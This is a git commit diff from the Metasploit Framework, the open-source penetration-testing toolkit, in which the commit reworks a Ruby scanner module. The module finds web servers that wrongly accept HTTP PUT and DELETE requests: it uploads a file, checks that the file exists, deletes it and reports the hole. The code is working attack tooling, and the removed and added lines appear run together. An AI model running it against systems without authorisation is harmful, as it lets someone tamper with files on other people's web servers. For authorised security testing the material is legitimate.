Checking response codes is a terrible way for HTTP modules. #5470.

git-svn-id: file:///home/svn/framework3/trunk@13759 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Wei Chen 2011-09-19 20:36:09 +00:00
parent a1675bfbc6
commit ec530955ce
1 changed files with 139 additions and 97 deletions

View File

@ -1,3 +1,7 @@
##
# $Id$
##
## ##
# This file is part of the Metasploit Framework and may be subject to # This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit # redistribution and commercial restrictions. Please see the Metasploit
@ -9,7 +13,6 @@ require 'msf/core'
class Metasploit4 < Msf::Auxiliary class Metasploit4 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
@ -19,132 +22,171 @@ class Metasploit4 < Msf::Auxiliary
'Name' => 'HTTP Writable Path PUT/DELETE File Access', 'Name' => 'HTTP Writable Path PUT/DELETE File Access',
'Version' => '$Revision$', 'Version' => '$Revision$',
'Description' => %q{ 'Description' => %q{
This module can abuse misconfigured web servers to This module can abuse misconfigured web servers to upload and delete web content
upload and delete web content via PUT and DELETE HTTP via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE.
requests. Set ACTION to either PUT or DELETE. PUT is the
default. PUT is the default. If filename isn't specified, the module will generate a
random string for you as a .txt file. If DELETE is used, a filename is required.
}, },
'Author' => 'Author' =>
[ [
'Kashif [at] compulife.com.pk', 'CG' 'Kashif [at] compulife.com.pk',
'CG',
'sinn3r',
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'OSVDB', '397'], [ 'OSVDB', '397'],
], ],
'Actions' => 'Actions' =>
[ [
['PUT'], ['PUT'],
['DELETE'] ['DELETE']
], ],
'DefaultAction' => 'PUT' 'DefaultAction' => 'PUT'
) )
register_options( register_options(
[ [
OptString.new('PATH', [ true, "The path to attempt to write or delete", "/msf_http_put_test.txt"]), OptString.new('PATH', [true, "The path to attempt to write or delete", "/msf_http_put_test.txt"]),
OptString.new('DATA', [ false, "The data to upload into the file", "msf test file"]), OptString.new('DATA', [false, "The data to upload into the file", "msf test file"]),
OptString.new('ACTION', [true, "PUT or DELETE", "PUT"])
], self.class) ], self.class)
end end
def run_host(ip) #
# Send a normal HTTP request and see if our successfully uploaded or deleted a file.
# If successful, return true, otherwise false.
#
def file_exists(path, data)
begin
res = send_request_cgi(
{
'uri' => path,
'method' => 'GET',
'ctype' => 'text/plain',
'data' => data,
}, 20
).to_s
rescue ::Exception => e
print_error("Error: #{e.to_s}")
return nil
end
target_host = ip return (res =~ /#{data}/) ? true : false
target_port = datastore['RPORT'] end
#
# Do a PUT request to the server. Function returns the HTTP response.
#
def do_put(path, data)
begin
res = send_request_cgi(
{
'uri' => path,
'method' => 'PUT',
'ctype' => 'text/plain',
'data' => data,
}, 20
)
rescue ::Exception => e
print_error("Error: #{e.to_s}")
return nil
end
return res
end
#
# Do a DELETE request. Function returns the HTTP response.
#
def do_delete(path)
begin
res = send_request_cgi(
{
'uri' => path,
'method' => 'DELETE',
'ctype' => 'text/html',
}, 20
)
rescue ::Exception => e
print_error("Error: #{e.to_s}")
return nil
end
return res
end
#
# Main function for the module, duh!
#
def run_host(ip)
path = datastore['PATH']
data = datastore['DATA']
#Add "/" if necessary
path = "/#{path}" if path[0,1] != '/'
case action.name case action.name
when 'PUT' when 'PUT'
begin #Append filename if there isn't one
res = send_request_cgi({ if path !~ /(.+\.\w+)$/
'uri' => datastore['PATH'], path << "#{Rex::Text.rand_text_alpha(5)}.txt"
'method' => 'PUT', vprint_status("No filename specified. Using: #{path}")
'ctype' => 'text/plain', end
'data' => datastore['DATA']
}, 20) #Upload file
res = do_put(path, data)
vprint_status("Reply: #{res.code.to_s}")
if (res.nil?) #Check file
print_error("No response for #{ip}:#{rport}") if not res.nil? and file_exists(path, data)
elsif (res and res.code >= 200 and res.code < 300) print_good("File uploaded: #{ip}:#{rport}#{path}")
report_vuln(
# :host => ip,
# Detect if file was really uploaded :port => rport,
# :proto => 'tcp',
begin :name => self.fullname,
res = send_request_cgi({ :info => "PUT Enabled",
'uri' => datastore['PATH'], :refs => self.references,
'method' => 'GET', :exploited_at => Time.now.utc,
'ctype' => 'text/html' )
}, 20) else
print_error("File doesn't seem to exist. The upload probably failed.")
if (res.nil?)
print_error("no response for #{ip}:#{rport}")
elsif res and (res.code >= 200 and res.code <= 299)
if res.body.include? datastore['DATA']
print_good("Upload succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]")
report_vuln(
:host => target_host,
:port => rport,
:proto => 'tcp',
:sname => 'http',
:name => self.fullname,
:info => "PUT ENABLED",
:refs => self.references,
:exploited_at => Time.now.utc
)
end
else
print_error("Received a #{res.code} code, upload failed on #{ip}:#{rport}#{datastore['PATH']} [#{res.code} #{res.message}]")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error "No connection"
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
print_error e.message
end
elsif(res.code == 302 or res.code == 301)
print_status("Received #{res.code} Redirect to #{res.headers['Location']}")
else
print_error("Received #{res.code} code, upload failed on #{ip}:#{rport} #{datastore['PATH']} [#{res.code} #{res.message}]")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
#print_error "No connection"
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
print_error e.message
end end
when 'DELETE' when 'DELETE'
begin #Check file before deleting
res = send_request_cgi({ if path !~ /(.+\.\w+)$/
'uri' => datastore['PATH'], print_error("You must supply a filename")
'method' => 'DELETE' return
}, 10) elsif not file_exists(path, data)
print_error("File is already gone. Will not continue DELETE")
return
end
return if not res #Delete our file
if (res and res.code >= 200 and res.code < 300) res = do_delete(path)
print_good("Delete succeeded on #{ip}:#{rport}#{datastore['PATH']} [#{res.code}]") print_status("Reply: #{res.code.to_s}")
report_vuln( #Check if DELETE was successful
:host => target_host, if res.nil? or file_exists(path, data)
:port => rport, print_error("DELETE failed. File is still there.")
:proto => 'tcp', else
:sname => 'http', print_good("File deleted: #{ip}:#{rport}#{path}")
:name => self.fullname, report_vuln(
:info => "DELETE ENABLED", :host => ip,
:refs => self.references, :port => rport,
:exploited_at => Time.now.utc :proto => 'tcp',
) :sname => 'http',
:name => self.fullname,
else :info => "DELETE ENABLED",
print_error("Delete failed #{ip}:#{rport} [#{res.code} #{res.message}]") :refs => self.references,
end :exploited_at => Time.now.utc
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
#print_error "No connection"
rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::EHOSTUNREACH => e
print_error e.message
end end
end end
end end
end end